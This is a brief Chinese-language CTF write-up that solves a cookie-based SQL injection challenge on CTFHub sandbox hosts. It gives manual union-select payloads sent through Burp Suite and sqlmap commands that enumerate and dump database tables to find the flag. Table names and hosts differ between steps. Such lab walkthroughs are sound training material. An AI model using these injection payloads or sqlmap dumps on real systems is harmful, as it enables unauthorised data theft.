bp手工注入
1.先找cookie,URL 中输入/?id=1
2.用burpsuite 抓包
3.尝试注入,更改 id=123+union+select+database(),2# 查询到数据库名sqli
4.查 询 表 名 接 着 更 改 id=123 union select group_concat(table_name),2 from information_schema.tables where table_schema=’sqli’#
5.查 询 字 段 名 输 入 id=123 union select group_ concat(column_name),2 from information_schema.columns where table_name=’ rtteodxivj’#
6.查询字段信息 输入 id=123 union select pfpihbepcc,2 from sqli. rtteodxivj
7.找到flag
再看看sql自动注入
1.查 询 数 据 库 名 :sqlmap.py -u http://challenge- 18e117cf09e88f6a.sandbox.ctfhub.com:10800/ --cookie "id=0" -- level=2 –dbs
2.查 询 表 名 :sqlmap.py -u http://challenge- 18e117cf09e88f6a.sandbox.ctfhub.com:10800/ --cookie "id=1" -- level=2 -D sqli –tables
3.查询列名sqlmap.py -u http://challenge-d795829d9b8b3efe.sandbox.ctfhub.com:10800 --cookie "id=0" --level 2 -D sqli -T fzmvltcehp –columns
4.爆字段 sqlmap.py -u http://challenge-d795829d9b8b3efe.sandbox.ctfhub.com:10800 --cookie "id=0" --level 2 -D sqli -T fzmvltcehp -C ywojxhmnmx –dump